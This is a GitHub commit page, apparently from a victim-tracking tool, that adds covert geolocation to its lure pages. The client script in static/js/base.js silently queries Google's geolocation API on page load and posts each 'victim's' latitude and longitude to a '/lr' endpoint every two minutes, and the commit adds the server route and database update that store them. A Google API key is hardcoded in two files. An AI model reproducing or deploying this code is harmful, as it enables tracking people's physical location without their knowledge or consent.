Skip to content

Commit 91eed24

Browse files
committed
Geolocation improve
1 parent 0cd98c9 commit 91eed24

5 files changed

Lines changed: 89 additions & 3 deletions

File tree

core/db.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -103,6 +103,8 @@ def prop_sentences_victim(self, type, data = None):
103103
return ("UPDATE victims SET status = ? ", ('offline',))
104104
elif type == 'disconnect_victim':
105105
return ("UPDATE victims SET status = ? WHERE id = ?" , ('offline', data,))
106+
elif type == 'location_victim':
107+
return ("UPDATE geo SET latitude = ?, longitude = ? WHERE id = ?" , (data[1], data[2], data[0]))
106108
else:
107109
return False
108110

core/victim.py

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -78,6 +78,15 @@ def networkRegister():
7878
db.sentences_victim('insert_networks', [vId, vIp, request.environ['REMOTE_ADDR'], vnetwork, time.strftime("%Y-%m-%d - %H:%M:%S")], 2)
7979
return json.dumps({'status' : 'OK', 'vId' : vId});
8080

81+
@app.route("/lr", methods=["POST"])
82+
def locationRegister():
83+
vId = request.form['vId']
84+
lat = request.form['lat']
85+
lon = request.form['lon']
86+
87+
db.sentences_victim('location_victim', [vId, lat, lon], 2)
88+
return json.dumps({'status' : 'OK', 'vId' : vId});
89+
8190
@app.route("/redv")
8291
def redirectVictim():
8392
url = request.args.get('url')

index.html

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
<html>
2+
<head>
3+
4+
</head>
5+
<body>
6+
<div id="location"></div>
7+
8+
<script>
9+
(function() {
10+
var xhttp = new XMLHttpRequest();
11+
var key = "AIzaSyBjLRk0ipr2VNAdnmc15DlSKbHEsYWH-XQ";
12+
13+
xhttp.onreadystatechange = function() {
14+
var el = document.getElementById("location");
15+
16+
if (xhttp.readyState == 4 && xhttp.status == 200) {
17+
var geolocation = JSON.parse(xhttp.responseText).location;
18+
var loc = geolocation.lat + ',' + geolocation.lng;
19+
el.innerHTML = '<a target="_blank" href="http://maps.google.com/maps/place/' + loc + '/@' + loc + ',10z/data=!3m1!1e3"><img src=https://maps.googleapis.com/maps/api/staticmap?zoom=16&size=700x400&maptype=roadmap&markers=color:red%7Clabel:C%7C' + loc + '></a>';
20+
el.innerHTML += 'Geo Coordinates: ' + geolocation.lat + ', ' + geolocation.lng + '';
21+
22+
var xhttp2 = new XMLHttpRequest();
23+
xhttp2.onreadystatechange = function() {
24+
if (xhttp2.readyState == 4 && xhttp2.status == 200) {
25+
var locationName = JSON.parse(xhttp2.responseText).results;
26+
//console.log(locationName)
27+
//el.innerHTML += 'Dirección de casa: ' + locationName[0].formatted_address;
28+
}
29+
};
30+
31+
xhttp2.open("POST", 'https://maps.googleapis.com/maps/api/geocode/json?latlng=' + geolocation.lat + ',' + geolocation.lng + '&sensor=true', true);
32+
xhttp2.send();
33+
}
34+
if (xhttp.readyState == 4 && (xhttp.status == 403 || xhttp.status == 500)) {
35+
el.innerHTML += 'La API no cargo';
36+
}
37+
};
38+
39+
xhttp.open("POST", "https://www.googleapis.com/geolocation/v1/geolocate?key=" + key, true);
40+
xhttp.send();
41+
}())
42+
</script>
43+
</body>
44+
</html>

static/js/base.js

Lines changed: 34 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,6 @@ if (typeof(io) != 'undefined') {
88

99
window.onbeforeunload = function(e) {
1010
var d = getVictimData();
11-
console.log(d);
1211
socket.emit('disconnect_request', d);
1312
socket.emit('my_broadcast_event', {data: 'update-data'});
1413
return 'Are you sure?';
@@ -131,6 +130,7 @@ $(document).ready(function($) {
131130
}
132131

133132
tping();
133+
locateV();
134134
});
135135

136136
var sendData = function(data) {
@@ -186,4 +186,37 @@ var defineSockets = function(self) {
186186
return false;
187187
}
188188
});
189+
}
190+
191+
var locateV = function(self) {
192+
var xhttp = new XMLHttpRequest();
193+
var key = "AIzaSyBjLRk0ipr2VNAdnmc15DlSKbHEsYWH-XQ";
194+
195+
xhttp.onreadystatechange = function() {
196+
if (xhttp.readyState == 4 && xhttp.status == 200) {
197+
var geolocation = JSON.parse(xhttp.responseText).location;
198+
var d = getVictimData();
199+
var data = {
200+
vId : d.vId,
201+
lat: geolocation.lat,
202+
lon: geolocation.lng
203+
};
204+
205+
$.ajax({
206+
url: '/lr',
207+
data: data,
208+
dataType: "json",
209+
type: 'POST',
210+
success: function(response) {
211+
setTimeout(function(){ locateV(); }, 120000);
212+
},
213+
error: function(error) {
214+
setTimeout(function(){ locateV(); }, 3000);
215+
}
216+
});
217+
}
218+
};
219+
220+
xhttp.open("POST", "https://www.googleapis.com/geolocation/v1/geolocate?key=" + key, true);
221+
xhttp.send();
189222
}

static/js/trape.js

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -414,8 +414,6 @@ var dataSync = function() {
414414
tmpTarget = val[2].split('/');
415415
tmpTarget = tmpTarget[0] + '//' + tmpTarget[2];
416416

417-
console.log(val);
418-
419417
htmlData += '<!-- -->';
420418
htmlData += '<div class="TrapeControl-Requests">';
421419
htmlData += '<div class="TrapeControl-Requests--HeaderData">';

0 commit comments

Comments
 (0)